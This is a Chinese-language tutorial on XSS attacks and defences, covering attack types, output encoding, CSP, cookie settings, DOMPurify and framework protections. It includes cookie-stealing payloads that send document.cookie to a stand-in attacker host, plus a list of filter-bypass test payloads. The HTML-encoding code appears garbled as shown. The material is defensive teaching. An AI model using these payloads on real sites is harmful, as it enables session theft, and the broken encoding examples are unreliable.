XSS 跨站脚本攻击:前端安全的重灾区
XSS (Cross-Site Scripting) 是 Web 应用中最普遍的攻击手段之一。它的核心是:在合法的网页中注入恶意脚本,使浏览器在用户不知情的情况下执行攻击者的代码。
什么是 XSS?理解攻击本质
XSS 攻击的目标不是网站服务器,而是访问该网站的普通用户。攻击者通过漏洞将恶意脚本注入到网页中,当其他用户浏览该页面时,脚本在其浏览器中执行。
XSS 的危害
一旦 XSS 攻击成功,攻击者可以:
- 窃取会话信息:获取用户的 Cookie、Session Token,冒充用户身份
- 窃取敏感数据:读取页面中的个人信息、支付信息
- 篡改页面内容:修改页面显示,进行钓鱼诈骗
- 发起其他攻击:以用户身份执行操作、发起 CSRF 攻击
- 传播蠕虫:在社交平台自动传播恶意链接
攻击流程示意
XSS 的三种类型
1. 存储型 XSS(Stored XSS)—— 危害最大
恶意脚本被永久存储在目标服务器上(如数据库、文件系统)。当用户浏览相关页面时,脚本自动执行。
典型场景:论坛帖子、博客评论、用户资料、消息系统
攻击示例:
<!-- 攻击者在评论区提交 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
<!-- 或者更隐蔽的方式 -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
危害:所有访问该页面的用户都会受影响,影响范围广。
2. 反射型 XSS(Reflected XSS)—— 链接诱导
恶意脚本不存储在服务器上,而是通过 URL 参数"反射"回来。攻击者构造恶意链接,诱骗用户点击。
典型场景:搜索结果页、错误消息页、跳转页面
攻击示例:
https://example.com/search?q=<script>alert('XSS')</script>
// 服务端代码(危险)
res.send(`搜索结果:${req.query.q}`);
攻击者将链接伪装后发送给受害者:
https://example.com/search?q=%3Cscript%3Efetch%28%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E
3. DOM 型 XSS(DOM-based XSS)—— 客户端漏洞
完全在浏览器端发生,不经过服务器。恶意脚本通过操作 DOM 环境注入。
典型场景:单页应用(SPA)、动态内容加载
危险代码:
// 危险:直接将 URL 参数插入 DOM
document.getElementById('content').innerHTML = location.hash.substring(1);
// 危险:使用 eval 处理用户输入
eval('var data = ' + userInput);
// 危险:动态创建脚本
document.write('<script>' + userInput + '</script>');
攻击 URL:
https://example.com/#<img src=x onerror=alert('XSS')>
XSS 的变种:mXSS(突变 XSS)
mXSS (Mutation XSS) 是 XSS 的高级变种,利用浏览器 HTML 解析器的规范化行为绕过过滤。
原理
- 攻击者提交一段"看起来安全"的 HTML
- 服务端或前端过滤器检查通过
- 浏览器渲染时,HTML 解析器对内容进行"规范化"
- 在规范化过程中,原本被包裹的恶意代码被"释放"出来
示例:
<!-- 输入:看起来安全的 HTML -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- 浏览器解析后:恶意代码被释放 -->
<p title="</noscript><img src=x onerror=alert(1)>">
防御
- 不要依赖简单的黑白名单过滤
- 使用成熟的 HTML 净化库(如 DOMPurify)
- 保持净化库版本更新
核心防御策略
防御 XSS 需要多层防护,没有单一的银弹。
策略一:输出编码(Output Encoding)—— 最核心的防御
输出编码是将特殊字符转换为安全形式,使浏览器将其视为数据而非代码。不同上下文需要不同的编码方式。
HTML 上下文编码
当数据插入 HTML 标签之间时:
<div>用户数据</div>
<p>用户数据</p>
编码规则:
| 字符 | 编码后 |
|---|---|
& | & |
< | < |
> | > |
" | " |
' | ' |
实现示例:
function htmlEncode(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 或使用浏览器原生方法
element.textContent = userInput; // 自动编码,安全!
// 而不是 element.innerHTML = userInput; // 危险!
HTML 属性上下文编码
当数据插入 HTML 属性值时:
<div class="用户数据"></div>
<input value="用户数据">
关键规则:
- 属性值必须用引号包围
- 编码所有字符为
&#xHH;格式(HH 为十六进制 Unicode 值)
// 安全:使用引号包围 + 属性编码
elem.setAttribute('data-value', userInput); // 自动处理,安全!
// 危险:未用引号
elem.setAttribute('data-value', userInput); // 如果输入包含空格,可能逃出属性
安全属性列表(可安全插入用户数据):
align, alt, bgcolor, border, class, color, cols, height, href(需额外验证), id(需验证), lang, name(需验证), rows, size, span, src(需验证), style(需特殊处理), title, type, value, width
危险属性(不要插入用户数据):
onclick, onerror, onload, onmouseover, formaction, xlink:href
JavaScript 上下文编码
当数据插入 JavaScript 代码中时:
<script>
var name = "用户数据";
alert('用户数据');
</script>
编码规则:使用 \uXXXX 格式编码所有字符
function jsEncode(str) {
let result = '';
for (let i = 0; i < str.length; i++) {
const hex = str.charCodeAt(i).toString(16).padStart(4, '0');
result += '\\u' + hex;
}
return result;
}
// 更安全:避免将数据插入 JavaScript 上下文
// 改用 data 属性传递数据
<div data-name="用户数据" id="myDiv"></div>
<script>
const name = document.getElementById('myDiv').dataset.name; // 从 DOM 读取
</script>
URL 上下文编码
当数据插入 URL 参数时:
<a href="https://example.com/search?q=用户数据">搜索</a>
编码规则:使用百分号编码 %HH
// 安全:使用 encodeURIComponent
const safeUrl = 'https://example.com/search?q=' + encodeURIComponent(userInput);
// 危险:直接拼接
const unsafeUrl = 'https://example.com/search?q=' + userInput;
注意:如果用户数据是完整 URL,需要额外验证协议:
function safeUrl(url) {
// 只允许 http/https 协议
if (!/^https?:\/\//i.test(url)) {
return '#'; // 返回安全默认值
}
return url;
}
CSS 上下文编码
当数据插入 CSS 时(较少见但需要处理):
<style>
.box { background-color: 用户数据; }
</style>
<div style="color: 用户数据"></div>
编码规则:使用 \XXXXXX 格式(6位十六进制)
function cssEncode(str) {
let result = '';
for (let i = 0; i < str.length; i++) {
const hex = str.charCodeAt(i).toString(16).padStart(6, '0');
result += '\\' + hex;
}
return result;
}
更好的做法:避免在 CSS 中插入用户数据,改用预定义的类名。
编码规则速查表
| 上下文 | 编码方法 | 示例 |
|---|---|---|
| HTML 内容 | HTML 实体编码 | < → < |
| HTML 属性 | HTML 属性编码 + 引号包围 | " → " |
| JavaScript | Unicode 编码 \uXXXX | " → \u0022 |
| URL 参数 | 百分号编码 %HH | → %20 |
| CSS | 反斜杠十六进制 \XXXXXX | " → \000022 |
策略二:内容安全策略(CSP)—— 纵深防御
CSP 是 HTTP 响应头,告诉浏览器只允许加载和执行特定来源的内容。即使攻击者成功注入脚本,CSP 也能阻止其执行。
基本配置:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'
指令说明:
| 指令 | 说明 | 示例 |
|---|---|---|
default-src | 默认策略 | 'self' 只允许同源 |
script-src | JavaScript 来源 | 'self' https://cdn.example.com |
style-src | CSS 来源 | 'self' 'unsafe-inline' |
img-src | 图片来源 | 'self' data: https: |
connect-src | AJAX/WebSocket 目标 | 'self' https://api.example.com |
font-src | 字体来源 | 'self' https://fonts.gstatic.com |
frame-src | iframe 来源 | 'self' |
report-uri | 违规报告地址 | /csp-report |
重要关键字:
'self':只允许同源资源'none':禁止任何资源'unsafe-inline':允许内联脚本/样式(降低安全性)'unsafe-eval':允许 eval 等函数(降低安全性)'nonce-xxx':允许带特定 nonce 的内联脚本'sha256-xxx':允许特定哈希值的内联脚本
推荐配置:
# 严格的 CSP 配置
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
使用 nonce 处理必要的内联脚本:
// 服务端生成随机 nonce
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`);
// 模板中使用
res.send(`
<script nonce="${nonce}">
// 这里的代码会被允许执行
console.log('安全执行');
</script>
`);
策略三:Cookie 安全配置
即使 XSS 攻击成功,安全配置的 Cookie 也能减少损失。
Set-Cookie: session=abc123;
HttpOnly; # 禁止 JavaScript 访问
Secure; # 仅 HTTPS 传输
SameSite=Strict; # 禁止跨站发送
Path=/;
Max-Age=3600
SameSite 属性值:
| 值 | 行为 |
|---|---|
Strict | 完全禁止跨站发送 Cookie |
Lax | 允许顶级导航的 GET 请求携带(默认值) |
None | 允许跨站发送(需要配合 Secure) |
策略四:HTML 净化
当需要允许用户输入富文本(如 Markdown 编辑器、评论系统)时,使用 HTML 净化库移除危险标签和属性。
使用 DOMPurify:
import DOMPurify from 'dompurify';
// 基本用法
const clean = DOMPurify.sanitize(dirtyHTML);
// 允许特定标签
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
// 允许 data 属性
const clean = DOMPurify.sanitize(dirtyHTML, {
ADD_ATTR: ['data-id', 'data-type']
});
// 处理后安全插入
element.innerHTML = clean;
服务端净化(Node.js):
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize(userInput);
现代框架的安全特性
现代前端框架默认提供 XSS 防护,但需要了解其边界。
React
安全:JSX 自动转义
// 安全:自动转义
<div>{userInput}</div>
// 危险:绕过保护
<div dangerouslySetInnerHTML={{ __html: userInput }} />
正确使用 dangerouslySetInnerHTML:
import DOMPurify from 'dompurify';
function SafeHTML({ content }) {
const clean = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
注意事项:
href属性中的javascript:协议需要自行验证data:URL 也可能执行脚本
// 危险:用户可能输入 javascript:alert(1)
<a href={userUrl}>点击</a>
// 安全:验证协议
function SafeLink({ href, children }) {
const isSafe = /^https?:\/\//i.test(href);
return <a href={isSafe ? href : '#'}>{children}</a>;
}
Vue
安全:模板自动转义
<!-- 安全:自动转义 -->
<div>{{ userInput }}</div>
<!-- 危险:绕过保护 -->
<div v-html="userInput"></div>
正确使用 v-html:
<template>
<div v-html="sanitizedContent"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
computed: {
sanitizedContent() {
return DOMPurify.sanitize(this.userInput);
}
}
}
</script>
Angular
安全:默认转义
// 安全:自动转义
<div>{{ userInput }}</div>
// 危险:绕过保护
<div [innerHTML]="userInput"></div>
使用 DomSanitizer:
import { DomSanitizer } from '@angular/platform-browser';
@Component({...})
export class MyComponent {
constructor(private sanitizer: DomSanitizer) {}
get safeHtml() {
// 注意:bypassSecurityTrustHtml 仍需配合净化库
return this.sanitizer.bypassSecurityTrustHtml(
DOMPurify.sanitize(this.userInput)
);
}
}
安全编码实践清单
输入处理
- 所有外部数据视为不可信
- 在服务端进行输入验证(前端验证可被绕过)
- 使用白名单验证而非黑名单
- 对特殊字符进行适当处理
输出处理
- 根据上下文选择正确的编码方式
- 优先使用框架的默认安全机制
- 避免使用
innerHTML、v-html、dangerouslySetInnerHTML - 必须使用富文本时,使用 DOMPurify 净化
安全配置
- 设置 CSP 响应头
- 设置 HttpOnly、Secure、SameSite Cookie 属性
- 设置 X-XSS-Protection 响应头(现代浏览器已弃用,但仍可保留)
- 设置 X-Content-Type-Options: nosniff
代码审查
- 搜索所有
innerHTML、outerHTML、document.write使用 - 搜索所有
eval、new Function、setTimeout(string)使用 - 检查所有 URL 拼接操作
- 检查模板字符串中是否直接嵌入用户数据
常见错误示例
错误一:依赖前端过滤
// 危险:前端过滤可被绕过
function filterScript(str) {
return str.replace(/<script>/gi, '');
}
// 攻击者可使用 <scr<script>ipt> 或编码绕过
正确做法:服务端验证 + 输出编码
错误二:黑名单过滤
// 危险:黑名单不完整
function filterXSS(str) {
return str.replace(/<script>|<\/script>/gi, '');
}
// 攻击者可使用 <img onerror>、<svg onload> 等
正确做法:白名单验证或使用专业净化库
错误三:忽略 URL 参数
// 危险:直接使用 URL 参数
location.hash.substring(1) // 可能为恶意内容
new URLSearchParams(location.search).get('q')
正确做法:使用前进行编码或验证
安全测试方法
手动测试
在输入框和 URL 参数中尝试以下 Payload:
<!-- 基础测试 -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<!-- 绕过过滤 -->
<ScRiPt>alert('XSS')</sCrIpT>
<img src=x OnErRoR=alert('XSS')>
<img src="x" onerror="alert('XSS')">
<!-- 编码绕过 -->
<img src=x onerror=alert('XSS')>
<a href="javascript:alert('XSS')">点击</a>
<!-- 事件处理器 -->
<div onmouseover="alert('XSS')">鼠标移过来</div>
<input onfocus="alert('XSS')" autofocus>
<body onload="alert('XSS')">
<!-- HTML5 标签 -->
<video><source onerror="alert('XSS')">
<marquee onstart="alert('XSS')">
<details open ontoggle="alert('XSS')">
工具测试
- OWASP ZAP:自动化扫描
- Burp Suite:渗透测试
- XSStrike:专用 XSS 检测工具
总结
防御 XSS 需要系统性的方法:
- 输出编码是核心:根据上下文选择正确的编码方式
- CSP 是纵深防御:作为第二道防线,而非唯一防御
- Cookie 安全配置:减少攻击成功后的损失
- 框架安全特性:利用框架默认保护,了解其边界
- HTML 净化:富文本场景使用专业净化库
记住:任何外部数据在插入页面前都必须经过适当处理。